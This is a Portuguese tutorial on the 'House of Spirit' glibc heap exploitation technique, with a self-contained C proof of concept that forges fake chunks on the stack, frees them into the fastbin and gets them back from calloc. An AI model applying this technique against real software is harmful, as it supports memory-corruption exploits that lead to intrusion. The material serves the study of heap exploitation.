House of Spirit

Conceito

Este exploit consiste em reescrever um ponteiro, já existente, antes dele ser liberado pela função free(). A ideia consiste no atacante criar um chunk falso (na pilha, na .bss, na heap, etc...) e fazer o ponteiro apontar para esse novo chunk.

Esse novo chunk deve passar em alguns testes de verificação, que não é muito difícil, basta iniciar os campos sizes desse chunk, e do próximo.

Nota: O atacante deve, na verdade, criar dois chunks adjacentes, para dessa forma modificar tanto o campo size do primeiro, como do segundo. Porém, o segundo chunk não necessita do espaço completo criado para ele, ele apenas precisa desse campo size.

O campo size do primeiro chunk falso deve estar no intervalo da fastbin, para quando ele for liberado, ele cair nela. Com isso, a próxima alocação com o tamanho no size (se atentando ao arredondamento da malloc()) irá retornar esse chunk.

Exemplo

house-of-spirit.c
#include <stdio.h>
#include <stdlib.h>

int main()
{
    size_t *chunks[7];
    size_t fake_chunks[10] __attribute__((aligned(0x10))); // Espaço para dois chunks, um com o campo size em fake_chunks[1] e o outro com o campo size em fake_chunks[9].
    size_t *ptr = NULL, *ptr2 = NULL;

    // Preenchendo a tcache.
    printf("\nPasso 1: preencher a tcache.");
    for (int i = 0; i < 7; i++)
    {
        chunks[i] = (size_t *)malloc(0x30);
    }
    for (int i = 0; i < 7; i++)
    {
        free(chunks[i]);
    }

    // Iniciando o exploit.
    printf("\nPasso 2: preparar os metadados dos chunks falsos.");
    printf("\nO campo size do primeiro chunk está em %p, e o campo size do segundo está em %p", &fake_chunks[1], &fake_chunks[9]);
    // O campo size do primeiro chunk deve ser menor do que 128 para entrar na fastbin, porém é necessário ficar esperto com os bits NMP. Neste caso, ambos estarão zerados (anterior não está em uso, não é mmaped, e está na arena principal).
    // Outra coisa importante é que o valor no size deve ser um valor gerado pelo arredondamento da malloc, por exemplo, em x64 os valores 0x30 a 0x38 são arredondados para 0x40.
    fake_chunks[1] = 0x40; // O tamanho do chunk de fato. fake_chunks[0] é considerado do anterior, e fake_chunks[9] é o size do próximo. Sobra 8 índices de 8 bytes = 64 bytes = 0x40.
    // O tamanho do próximo chunk deve obedecer algumas regras, uma delas é que ele deve ser maior do que 2*SIZE_SZ (16 em x64) e menor do que av->system_mem (128kb, por padrão na arena principal).
    fake_chunks[9] = 0x40; // Bits NMP desativados.

    printf("\nPasso 3: liberando o primeiro chunk falso.");
    // O chunk deve estar alinhado em 16 bytes para não gerar erro.
    ptr = (size_t *)&fake_chunks[2]; // Os dados do usuário sempre começam 8 bytes na frente do size.
    free(ptr);

    printf("\nPasso 4: alocando novamente o chunk.");
    // Note que podemos usar a malloc, porém teríamos que fazer 7 alocações antes para esvaziar a tcache.
    ptr2 = (size_t *)calloc(1, 0x30); // Lembre-se de que irá arredondar para 0x40.
    printf("\nEndereço do chunk %p, endereço retornado %p\n", &fake_chunks[2], ptr2);
    return 0;
}

Referências

heap-exploitation

how2heap

Nightmare

Atualizado